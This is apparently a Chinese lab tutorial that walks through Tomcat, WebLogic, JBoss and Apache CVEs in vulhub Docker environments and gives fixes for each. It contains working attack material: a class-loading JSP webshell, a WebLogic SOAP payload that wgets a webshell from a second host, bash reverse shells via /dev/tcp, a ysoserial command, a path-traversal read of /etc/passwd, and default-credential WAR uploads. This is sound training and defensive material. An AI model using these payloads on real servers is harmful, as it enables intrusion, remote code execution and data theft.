目录
一.Tomcat
1.1 CVE-2017-12615
Tomcat put方法任意文件写入漏洞
当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为false ),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP文件,JSP 文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
漏洞复现
首先我们自己用docker的vulhub搭建一个tomcat环境,默认是8080端口,命令如下
cd vulhub-master/tomcat/CVE-2017-12615
docker-compose up -d
访问后进入如下页面
开启抓包后刷新一下这个页面,然后在数据包中将请求方式改为PUT,并在/后面加上要上传的文件名+/,然后在数据包最后一行空一行,填入上传文件的内容,这里我上传了一个1.jsp文件,内容是jsp的一句话木马(到网上搜的),修改完成后点击放行
然后继续到浏览器中访问并用蚁剑连接
如何修复
设置 readonly 为 true
1.2后台弱口令部署war包
在tomcat8环境下默认进入后台的密码为 tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令。
漏洞复现
首先我们去利用docker搭建一个vulhub环境,命令如下
cd /etc/vunhub/tomcat/tomcat8
docker-compose up -d
我们去访问页面,点击manager app后会弹出一个登录框让我们登录,这里是一个弱口令(如果没设置过),账号和密码都是tomcat
登陆进去后往下滑,这里有一个上传文件的地方,可以上传war包
然后我们就去制作一个war包,首先创建一个jsp文件,内容为之前找到的jsp一句话木马
然后将其压缩,并将后缀名改为war,保存后上传
上传成功后即可看到我们上传的文件
点击访问后会弹出404,但是再加一个1.jsp目录,即可正常访问
然后用蚁剑连接成功
如何修复
1. 设置强口令: conf/tomcat-users.xml<user username="tomcat" password="tomcat" roles="managergui,manager • script,manager-jmx,manager-status,admin-gui,admin-script" />2. 删除 manger 文件
1.3CVE-2020-1938
漏洞复现
tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。
搭建环境命令如下
cd etc/vulhub/tomcat/CVE-2020-1938
docker-compose up -d
然后我们还需要下载一个漏洞利用的poc包,下载到kali中,链接为
https://github.com/0nise/CVE-2020-1938
打开后有如下几个文件,我们利用如下语句对目标进行poc,就可以任意查看文件内容
python CVE-2020-1938.py -p 8009 -f 目录文件名 IP
如何修复
1.更新到最新版本
2.关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉。<Connectorport="8009"protocol="AJP/1.3" redirectPort="8443" />3.配置ajp配置中的secretRequired跟secret属性来限制认证。
二.WebLogic
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,默认端口:7001WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
2.1后台弱口令GetShell
通过弱口令进入后台界面,上传部署war包,getshell
漏洞复现
首先搭建环境,命令如下
cd vulhub-master/weblogic/weak_password
docker-compose up -d
然后访问目标的/console/login/LoginForm.jsp 目录进入一个登陆界面,这里的默认账号密码是:weblogic/Oracle@123,我们直接登录
如果出现如下页面,点击主页即可成功登录
然后在主页中点击部署里的安装,然后就可以上传文件了
我们直接上传一个之前制作的war包,jsp木马压缩成zip,修改后缀为war,上传
上传完成后访问我们名为1的war包下的1.jsp文件,成功访问
然后用蚁剑连接
漏洞修复
修改密码为复杂密码
2.2 CVE-2017-3506反序列化漏洞
漏洞复现
搭建环境命令如下,与2.1中用的环境相同
cd vulhub-master/weblogic/weak_password
docker-compose up -d
/wls-wsat/CoordinatorPortType/wls-wsat/RegistrationPortTypeRPC/wls-wsat/ParticipantPortType/wls-wsat/RegistrationRequesterPortType/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11
![](https://i-blog.csdnimg.cn/direct/254f38689d904f4fa7df01cf52ccff4c.png)
![](https://i-blog.csdnimg.cn/direct/4a84a80d52f747cf8ba4bacad5bd2a1d.png)
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
![](https://i-blog.csdnimg.cn/direct/ceee4352f8584b65b156a2c79477674d.png)
![](https://i-blog.csdnimg.cn/direct/b0f1dafa06f24d789b3adfa7ff4e658a.png)
![](https://i-blog.csdnimg.cn/direct/f03a9a6f66ee42f4826941c1e2449c35.png)
![](https://i-blog.csdnimg.cn/direct/381bf999c6704ceab35e3af08ddb244e.png)
漏洞修复
更新到最新版本,打上 10271 的补丁 , 对访问 wls-wsat 的资源进行访问控制
2.3 CVE-2019-2725
漏洞复现
搭建环境命令如下(与前面一样)
cd vulhub-master/weblogic/weak_password
docker-compose up -d
![](https://i-blog.csdnimg.cn/direct/c3206823720f42b5a698bbe28ca27927.png)
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 838
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://ip2/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/12121.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
我这里2.txt的内容是jsp的一句话木马,所以就相当与我们给他上传了一个一句话木马文件,然后去访问/bea_wls_internal/12121.jsp,发现访问成功
漏洞修复
1. 禁⽤bea_wls9_async_response组件;2. 删除wls9_async_response的war包并重启 ;3. 禁⽌访问 /_async/* 路径。
2.4 CVE-2018-2628
反序列化命令执⾏漏洞
漏洞复现
cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d
![](https://i-blog.csdnimg.cn/direct/9d32c99505c849c0bd9d46a3dbe91712.png)
![](https://i-blog.csdnimg.cn/direct/c10835fd7c5b413e9a0330f86997454f.png)
![](https://i-blog.csdnimg.cn/direct/7f3f5c33bfa640dbba0beca0ec238ebf.png)
![](https://i-blog.csdnimg.cn/direct/7385e558ec9444ac80bdb3491a5a2f60.png)
![](https://i-blog.csdnimg.cn/direct/0258f9e649a04110a2e02e4cf17b33e9.png)
漏洞修复
1. 及时更新补丁 ;2. 禁⽤T3协议 ;3. 禁⽌T3端⼝对外开放,或者限制可访问T3端⼝的IP来源。4. 升级版本
2.5 CVE-2018-2894
漏洞复现
搭建环境命令如下
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
![](https://i-blog.csdnimg.cn/direct/a9d46744655340cf8d0c91e68096e2a1.png)
![](https://i-blog.csdnimg.cn/direct/0ea0ef46f11548cb93fa85223c72f064.png)
![](https://i-blog.csdnimg.cn/direct/d2919395525146b1bbee84c1d19c15c1.png)
![](https://i-blog.csdnimg.cn/direct/9ae5695667ae463999c03b52b272efdc.png)
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
![](https://i-blog.csdnimg.cn/direct/bf20f224fb324a3b931b482117667f80.png)
![](https://i-blog.csdnimg.cn/direct/dde7d458687542f7ba9cb02c3b85d0e8.png)
![](https://i-blog.csdnimg.cn/direct/efc074755aa54ee7acb990933d557125.png)
![](https://i-blog.csdnimg.cn/direct/a81cce9683c24e1f86468b6cc659cde9.png)
![](https://i-blog.csdnimg.cn/direct/400e1361aeb745fab99560d47bc3ab39.png)
![](https://i-blog.csdnimg.cn/direct/aa764ca83848470d9a24c1c5d8eec122.png)
漏洞修复
密码改为强密码
2.6.CVE-2020-14882
WebLogic远程代码执⾏漏洞
CVE-2020-14882 允许远程⽤户绕过管理员控制台组件中的身份验证。 CVE-2020-14883 允许经过身份验证的⽤户在管理员控制台组件上执⾏任何命令。 使⽤这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执⾏任 意命令并完全控制主机
漏洞复现
搭建环境
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
![](https://i-blog.csdnimg.cn/direct/080aa9d527e54bfeb6d9e09161fb0652.png)
![](https://i-blog.csdnimg.cn/direct/c5f50991494a4d4cb444ffc0ab6e7961.png)
docker ps
//查看靶机进程id
docker exec -it 容器id /bin/bash
//获得靶机shell
ls /tmp
查看文件
这里命令已经成功运⾏,有个success
另一种方法
这里我们创建一个恶意的xml文件,将其提供到Weblogic可以访问得服务器上,内容如下
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
http://ip:7001/console/css/%252e%252e%252fconsole.portal? _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.File SystemXmlApplicationContext("http://ip:8000/rce.xml")
然后成功反弹到shell
![](https://i-blog.csdnimg.cn/direct/4ec214425ed64c9aaed3b1244258422e.png)
漏洞修复
使weblogic访问不到外网
三.Jboss
JBoss是⼀个基于J2EE的开发源代码的应⽤服务器。JBoss代码遵循LGPL许可,可以在任何商业应⽤中 免费使⽤。JBoss是⼀个管理EJB的容器和服务器,⽀持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核⼼ 服务不包括⽀持servlet/JSP的WEB容器,⼀般与Tomcat或Jetty绑定使⽤。在J2EE应⽤服务器领域, JBoss是发展最为迅速应⽤服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发, 这使得JBoss⼴为流⾏。
3.1 CVE-2015-7501
Jboss JMXInvokerServlet 反序列化漏洞
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了⽤户传⼊的对象, 然后我们利⽤Apache Commons Collections中的 Gadget 执⾏任意代码
漏洞复现
搭建环境命令如下
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
然后访问目标的/invoker/JMXInvokerServlet 目录会直接给我们下载,这说明接⼝开放,此接⼝存在反序列化漏洞
我们可以用工具ysoserial对其进行利用,下载链接https://github.com/frohoff/ysoserial
然后写一句fantanshell的语句,并将其进行base64编码,
bash -i >& /dev/tcp/ip/port 0>&1
在终端中运行我们下载的工具,命令如下
java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c
{echo,编码后的反弹shell}|{base64,-d}|{bash,-i}
">exp.ser
成功执行后开启我们服务器的监听端口 nc -lvvp 4444,然后执行如下命令
curl http://靶机IP:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
即可成功反弹到shell
漏洞修复
不使用invoker/JMXInvokerServlet的用户将其删除
3.2CVE-2017-7504
JBossMQ JMS 反序列化漏洞
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏ 任意代码执⾏
漏洞复现
搭建环境命令如下
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
访问目标的/jbossmq-httpil/HTTPServerILServlet目录进入如下页面,则该目标存在漏洞
然后利用jexboss工具获取shell,执行命令如下
python3 jexboss.py -u http://IP:8080/
然后就成功获取shell
漏洞修复
不用HTTPServerILServlet的用户将其删除
3.3.CVE-2017-12149
JBoss 5.x/6.x反序列化漏洞
漏洞简述该漏洞为Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进⾏任何安全检查的情况下尝试将来⾃客户端的数据流进⾏反序列化,从⽽导致了漏洞
漏洞复现
先搭建环境,命令如下
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
进入环境后先右键检查jboss的版本
然后访问目录/invoker/readonly,如果出现500错误,则证明漏洞存在
接下来利用工具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可,工具下载链接
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
填入目标url后就可成功执行命令
漏洞修复
1.不需要 http-invoker.sar 组件的⽤户可直接删除此组件。
2.添加如下代码⾄ http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件 进⾏访问控制:
3.升级新版本。
3.4Administration Console弱⼝令
Administration Console管理⻚⾯存在弱⼝令,`admin:admin`,登陆后台上传war包 , getshell
漏洞复现
搭建环境命令如下,与3.3环境相同
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
访问到目标后我们直接访问他的/admin-console/login.seam?conversationId=4,会弹出一个登录框,这里是一个弱口令,账号为admin,密码为vulhub
登陆成功后点击web应用
然后上传一个test.war文件,这是一个war包,里面是名为1.jsp的一句话木马
上传成功后直接访问test/1.jsp,发现访问成功
然后用蚁剑连接
漏洞修复
修改为强密码
3.5低版本JMX Console未授权
低版本JMX Console未授权访问Getshell
漏洞描述 此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导 致攻击者可以进⼊到 jmx控制台,并在其中执⾏任何功能。
漏洞复现
先搭建环境
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
我们访问目标的/jmx-console/目录,这⾥我们使⽤得复现环境不存在,所以需要密码(正常环境⽆需密码直接可进⼊)账号密码为admin,admin
进去后找到jboss.deployment (jboss ⾃带得部署功能) 中的flavor=URL,type=DeploymentScanner点进 去(通过URL的⽅式远程部署)
然后找到⻚⾯中的void addURL() 选项,找那个paramtype为java,lang.string的
在ParamValue一栏填写一个远程war包的地址后点击invoke,出现如下界面时则上传成功
然后我们直接去访问上传的war包并用蚁剑连接,/test/test.jsp
3.6⾼版本JMX Console未授权
JMX Console默认存在未授权访问,直接点击JBoss主⻚中的 JMX Console 链接进⼊JMX Console⻚ ⾯, 通过部署war包 , getshell
漏洞复现
搭建环境命令如下
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
进入环境后访问目标的/jmx-console/目录,因为使⽤环境不存在该漏洞所以需要输⼊账户密码:admin,vulhub,进入如下页面
点击jboss system中的service=MainDeployer
点进去后往下滑,找deploy,如下,后面为jaba.net.URL的
然后与上面相同,填写一个远程部署war的url地址,然后点击invoke,上传第一次时会出现500,第二次上传就会正常显示
然后我们去访问test/test.jsp成功访问然后用蚁剑连接
四、Apache
4.4CVE-2021-41773
Apache HTTP Server 路径穿越漏洞
漏洞复现
docker pull blueteamsteve/cve-2021-41773:no-cgid
访问到页面后显示
![](https://i-blog.csdnimg.cn/direct/064d9b18ecfc46cebe5cd03a2e987f6e.png)
curl http://IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
![](https://i-blog.csdnimg.cn/direct/437d251cbe9b42ce95e2aa0e2ae881e1.png)
![](https://i-blog.csdnimg.cn/direct/36e0bed3382f440680b338d98599a7c2.png)